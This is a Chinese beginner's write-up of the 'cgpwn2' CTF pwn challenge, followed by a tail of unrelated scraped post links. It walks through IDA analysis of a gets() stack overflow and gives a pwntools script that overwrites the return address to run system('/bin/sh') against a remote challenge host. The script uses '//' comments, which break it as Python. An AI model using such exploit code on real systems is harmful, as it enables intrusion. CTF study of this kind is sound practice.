cgpwn2-嫖来的wp
本想练习pwn的题目活跃下思维,但是接触后发现完全不懂,gg
然后就多方搜集,弄来了一些工具(IDA pro、pwntool)结果自己还是不会用,又是一番刷视频,结果看完又是一脸懵。
只记得一个快捷键Shift+F12,查看下字符。。。然后其他的,呵呵哒。
最后既然啥都看不懂但是题目还是要做的,只能一直瞟师傅们的wp了,希望在接下来的一段时间能够“瞟有所成”。。。。
下面这道题呢是来自攻防世界的题目——cgpwn2.

在题目场景那里本来有一个打开场景的,点击后等待一下就可以了。在下面有一个附件,是可以下载下来的。这里我们下载一下。

将其用IDA打开,没错就是下面这个图标。



打开以后就是上面这个界面。。。。然后看不懂,这时我们可以shift+F12查看下.,此时就可以看到下面这个界面。

下面该怎么办了呢,不会呀。。。开始搜索师傅的wp中。

这里呢师傅先用checksec 命令查看cgpwn2 【checksec 这个命令一般没得的,只有在安装pwntools以后才会出现,要记下来的】
接下来是对程序逻辑分析,也就是我们刚打开程序的那个界面 充满着看不懂的汇编语言。。。

然后呢,师傅开始对代码分析,首先定义三个流的缓冲区,然后调用hello函数,接着打印“thank you”,最后程序结束。
hello函数程序的前面一部分有点复杂,我们先看看反汇编出来的c语言代码

这个是前面的反汇编代码,我们可以看到主要是和定义的几个变量的值(几个寄存器的值)有关,这里我们先不看了然后上面的部分执行完之后,我们看看下面的部分

在这里双击打开,至于那个反汇编界面没找到。好像是因为我的IDA没有那个功能,所以请支持正版。。。

首先要求我们输入一个名字,这个输入是通过fgets函数完成的,从键盘读取最多32h个字符到name区域然后提示我们输入一些信息,这个输入是通过gets函数完成的,没有输入字符数量的限制,从键盘读取字符到s区域
我们看看name和s是什么区域: 双击这里进入


name是bss段的一个大小为的区域,s区域的起始位置是运行时距离栈帧0x26个字节的地方,大小不限然后hello函数结束
pwn函数
在我们查看这个程序里的函数时,我们也会发现一个叫做pwn的函数,在实际运行过程中并不会被调用,我们看看这个函数

我们可以看到这个函数是利用系统调用打印"hehehe",存在一个call system。看到这里整个逻辑大概清楚了。目的是想法去调用system
然后是这样分析的。。
分析和编写脚本
分析:
在我们分析程序逻辑时我们可以看到在hello函数中有一个部分我们用gets函数向栈的s区域读取了字符串,结合gets函数不限制输入字符个数和程序没有开启stack保护两点,我们可以在使用输入时让输入的字符串覆盖栈上hello函数的返回地址,让程序执行完hello函数之后执行我们设计的部分
脚本:
from pwn import *
r = remote('111.198.29.45',52561)
target = 0x804855A //pwn函数中callsystem语句的地址,也是我们构造的假的返回地址
binsh = 0x804A080 //name区域的地址,我们向name区域输入/bin/sh,然后让这个地址作为system函数的参数,完成system("/bin/sh")
payload = 'a'*0x26+'bbbb'+p32(target) +p32(binsh) //|填充栈|覆盖保存的exp的值|假的返回地址,指向callsystem|callsystem的参数|
a = r.recvuntil('e\n')
r.sendline('/bin/sh')
a = r.recvuntil(':\n')
r.sendline(payload)
r.interactive()
结果

大致流程是:

复习下今天学到的命令:checksec 查看 Shift+F12 查看字符
cgpwn2-嫖来的wp的更多相关文章
- 极光实验室 第一次考核wp
第一道题: 上来就让我买flag,用御剑扫目录,发现了这道题有源码index.php.bak!直接下载. <meta charset='UTF-8'> <title>极光实验室 ...
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
- 逆天通用水印支持Winform,WPF,Web,WP,Win10。支持位置选择(9个位置 ==》[X])
常用技能:http://www.cnblogs.com/dunitian/p/4822808.html#skill 逆天博客:http://dnt.dkil.net 逆天通用水印扩展篇~新增剪贴板系列 ...
- wp已死,metro是罪魁祸首!
1.这篇文章肯定会有类似这样的评论:“我就是喜欢wp,我就是喜欢metro,我就是软粉“等类似的信仰论者发表的评论. 2.2014年我写过一篇文章,windows phone如何才能在中国翻身? 我现 ...
- 关于 WP 开发中.xaml 与.xaml.cs 的关系
今天我们先来看一下在WP8.1开发中最长见到的几个文件之间的关系.比较论证,在看这个问题之前我们简单看看.NET平台其他两个不同的框架: Windows Forms 先看看Window Forms中的 ...
- Android,ios,WP三大手机系统对比
从前,我以为.一个手机系统只是一个系统的UI风格,没什么不同的.然而,在我混合使用这三个手机系统之后,才明白,一个手机系统远不只一个UI那么简单,而真的是可以称之为一个“生态”. 首先祭出三台经典设备 ...
- 搜狗输入法wp风格皮肤
换了个nexus 发现输入法真的没有wp的好用 没办法,刚好搜狗输入法有定制皮肤的选项,所以自己做了个wp风格的输入法皮肤. 一点微小的工作 http://pan.baidu.com/s/1kVsHd ...
- 免费获取WP之类的开发者权限或免费使用Azure 2015-10-19
上一次弄wp真机调试的时候,卡住了,这里讲一下怎么解决(http://www.cnblogs.com/dunitian/p/4870959.html) 进这个网址注册一下:https://www.dr ...
- 【WP开发】读写剪贴板
在WP 8.1中只有Silverlight App支持操作剪贴板的API,Runtime App并不支持.不过,在WP 10中也引入了可以操作剪贴板的API. 顺便说点题外话,有人会说,我8.1的开发 ...
随机推荐
- 【笔记6-支付及订单模块】从0开始 独立完成企业级Java电商网站开发(服务端)
支付模块 实际开发工作中经常会遇见如下场景,一个支付模块,一个订单模块,有一定依赖,一个同事负责支付模块,另一个同事负责订单模块,但是开发支付模块的时候要依赖订单模块的相关类 ,方法,或者工具类,这些 ...
- python基础(二)---第一个程序
1. 第一个程序 1.1 Hello Python书写步骤 步骤一:新建文本文档文件,修改名称为hello.py 步骤二:使用记事本打开文件,书写程序内容如下: 步骤三:打开命令行,输入执行指令:py ...
- Linux - 重启wifi和网络
iwconfig sudo ifconfig wlp4s0 down sudo iwconfig wlp4s0 power off sudo ifconfig wlp4s0 up sudo servi ...
- 攻防世界 web 进阶区 刷题记录
1.Training-WWW-Robots 题目提示了robots协议,直接访问robots.txt 继续访问fl0g.php 2.baby_web 题目描述:想想初始页面是哪个 百度搜了下,inde ...
- 喵星之旅-狂奔的兔子-redis使用
一.命令行使用 redis大概有200多命令,这里只是入门级别,列举了一些非常常见的内容,如果这些会了就可以开启redis进一步学习了. 1.登录数据库 我们需要知道ip地址.端口号.密码(如果有). ...
- Java Https双向验证
CA: Certificate Authority,证书颁发机构 CA证书:证书颁发机构颁发的数字证书 参考资料 CA证书和TLS介绍 HTTPS原理和CA证书申请(满满的干货) 单向 / 双向认证 ...
- EASYUI combobox firefox 下不支持中文检索
firefox 中文录入因为输入法的问题,无法出发检索的事件.网上的方法试过还是没有解决. 于是使用录入时新增一个模拟键shift,触发keydown事件,最终实现需要的效果. $("inp ...
- 「ZJOI2011」最小割
「ZJOI2011」最小割 传送门 建出最小割树,然后暴力计算任意两点之间最小割即可. 多组数据记得初始化. 参考代码: #include <algorithm> #include < ...
- MySQL高级-索引1
1.索引是什么 索引(Index)是帮助MySQL高效获取数据的数据结构.可以得到索引的本质:索引是数据结构. 可以理解为“排好序的快速查找数据结构” 在数据之外,数据库系统还维护着满足特定查找算法的 ...
- Redis学习笔记(一)配置文件参数说明
1.Redis默认不是以守护进程的方式运行,可以通过该配置项修改,使用yes启用守护进程 daemonize no 2.当redis以守护进程方式运行时,Redis默认会把pid写入/var/run/ ...